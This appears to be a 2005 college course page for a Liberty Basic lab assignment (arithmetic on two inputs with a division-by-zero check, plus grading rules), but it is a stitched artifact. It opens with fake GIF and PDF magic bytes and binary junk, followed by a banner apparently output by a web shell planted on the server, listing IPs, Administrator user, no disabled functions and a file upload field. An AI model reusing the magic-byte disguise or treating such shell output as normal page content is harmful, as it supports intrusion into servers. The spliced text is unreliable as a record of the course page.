GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /nginx/html/JimMartinson/_Archive/CST1794/Archive/ |
Upload File : |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>CST1794-Lab-01</title> <style type="text/css"> td { vertical-align:top; } td.number { text-align:right; } th { text-align:left; vertical-align:top; } li { vertical-align:top; } li.instruction { margin: 5px 0px 0px 0px; } </style> </head> <body bgcolor="LemonChiffon" text="Black" link="Blue" vlink="Blue" alink="Red"> <div align="center"> <table border="0" cellpadding="0" cellspacing="0" width="100%"> <tr> <td align="left"><font size="-1"><b>CST1794-Lab-01 </b></font></td> <td align="right"><font size="-1"><b> 2005.01.25</b></font></td> </tr> </table> <div> <h1>CST1794 <br> Lab-01 </h1> </div> <div> <!-- MetaLanguage3 --> <!-- Lab --> <br> <br> <table> <tr valign="top"> <td><font color="Navy"> <h3><b>Personalized Instruction: </b></h3> </font> <ol start="1"> <li>Write a program called <b>Lab-01.bas</b> to perform the following: <table style="border: 1px solid black;"> <tr> <td style="padding: 15px 15px 0px 15px;"> <pre>'<b> StudentNameGoesHere</b> ' Lab-01 ' This lab will demonstrate how numeric variables and expressions as well as input, output, and control statements are used. ' Write a computer program to: ' 1. Input two numbers from the user with an appropriate output to identify what is wanted from the user. ' 2. Display the two numbers with appropriate output to identify them. ' 3. Display the following four values with appropriate output to identify them. ' a. The result of the sum of the two numbers. ' b. The result of number1 minus number2. ' c. The result of multiplying the two numbers. ' d. The result of dividing number1 by number2. ' The program must perform error checking and should not allow or perform a division by 0. ' The program should instead display an appropriate error message for division by 0.</pre></td> </tr> </table> NOTE: The program instructions above are written as <a href="http://cst.ridgewater.edu/Courses/CST1794/dn/LibertyBasic/lb401win.exe">Liberty Basic v4.01</a> comments and may be copied directly into your program. <li>The first program line must be a comment with your name. <br> If you copied the comments above into your program then replace <b>StudentNameGoesHere</b> with your name. <li>The second program line must be a comment to identify the program as <b>Lab-01</b>. <br> If you copied the comments above into your program then this is already done. <li>Email the program file <b>Lab-01.bas</b> to me at <a href="mailto:jim.martinson@ridgewater.edu">jim.martinson@ridgewater.edu</a> with a subject line of <b>Assignment-CST1794-Lab-01</b>. </ol></td> </tr> </table> <br> <table> <tr valign="top"> <td><font color="Navy"> <h3><b>Evaluation: </b></h3> </font> This is your 1st formal evaluation for this course. It will be used to evaluate your progress with input/output, variable usage, and program flow control. This lab is worth 5 points.<br> See the <a href="CST1794-InstructionalGuide.htm">Instructional Guide</a> for the due date of this assignment.<br> <!-- MetaCodeRemovedByComment --> If you have any questions about the assignment you can email me at <a href="mailto:jim.martinson@ridgewater.edu">jim.martinson@ridgewater.edu</a> or make an appointment to see me. </td> </tr> </table> <br> <table> <tr valign="top"> <td><font color="Navy"> <h3><b>Grading: </b></h3> </font> <table> <tr> <td class="number">Points</td> <td> </td> <td>Objective</td> </tr> <tr> <td class="number"> -5 </td> <td> </td> <td>Lab not handed in as directed.</td> </tr> <tr> <td class="number"> -1 </td> <td> </td> <td>Lab turned in late.</td> </tr> <tr> <td class="number"> -2 </td> <td> </td> <td>Poor lab layout (code is hard to read or follow).</td> </tr> <tr> <td class="number"> 1 </td> <td> </td> <td>Input two numbers from the user with an appropriate prompt.</td> </tr> <tr> <td class="number"> 1 </td> <td> </td> <td>Display the two numbers with appropriate text to identify them.</td> </tr> <tr> <td class="number"> 1 </td> <td> </td> <td>Display the four values indicated with appropriate text to identify them.</td> </tr> <tr> <td class="number"> 2 </td> <td> </td> <td>The program displays an appropriate error message for division by 0.</td> </tr> <tr> <td colspan="3"> </td> </tr> <tr> <td colspan="3"> This lab is worth 5 points. </td> </tr> <tr> <td colspan="3"> Negative values above may reduce the total points for this lab to zero. </td> </tr> </table> <div> <table> <tr> <td><font color="Navy"> <h3><b>References and Resources: </b></h3> </font> <ol> <li> <table border="0" cellspacing="0" cellpadding="0"> <tr valign="bottom"> <td> <table border="0" frame="void" cellpading="0" cellspacing="0"> <tr valign="bottom"> <td><i>Beginning Programming for Dummies</i><br> Edition: 3rd<br> Wallace Wang<br> Wiley Publishing, Inc. ©2004<br> ISBN: 0-7645-4997-9<br> </td> </tr> </table></td> <td>(Student supplied textbook)</td> </tr> </table> <li> <a href="http://cst.ridgewater.edu/Courses/CST1794/dn/LibertyBasic/lb401win.exe">Liberty Basic v4.01</a> Software (May be copied from the network and installed on leased laptop or student supplied computer) <li> Computer system with OS (Leased laptop or Student supplied equipment) <li> Course <a href="CST1794-InstructionalGuide.htm">Instructional Guide</a> (On-line) <li> <a href="Examples.htm">Example Programs</a> (On-line) </ol></td> </tr> </table> <div> Return to the <a href="CST1794-InstructionalGuide.htm">Instructional Guide</a> or <a href="CST1794-Syllabus.htm">Syllabus</a>, or the <a href="javascript:history.back();">previous page</a>. <div> <table> <tr valign="top"> <td><font color="Navy"> <h3><b>Version Information: </b></h3> </font> <table> <tr> <td>2005.01.13</td> <td>revised.</td> <td>jfm</td> </tr> <tr> <td>2005.01.25</td> <td>New on-line modular IG started.</td> <td>jfm</td> </tr> </table></td> </tr> </table> <br> <br> <br> <br> <div align="center"> <div> Author: <a href="../../Instructors/?Author=jfm">Jim Martinson</a> <div> <table border="0" cellpadding="0" cellspacing="0" width="100%"> <tr> <td align="left"><font size="-1"><b>CST1794-Lab-01 </b></font></td> <td align="right"><font size="-1"><b> 2005.01.25</b></font></td> </tr> </table> </div> </body> </html>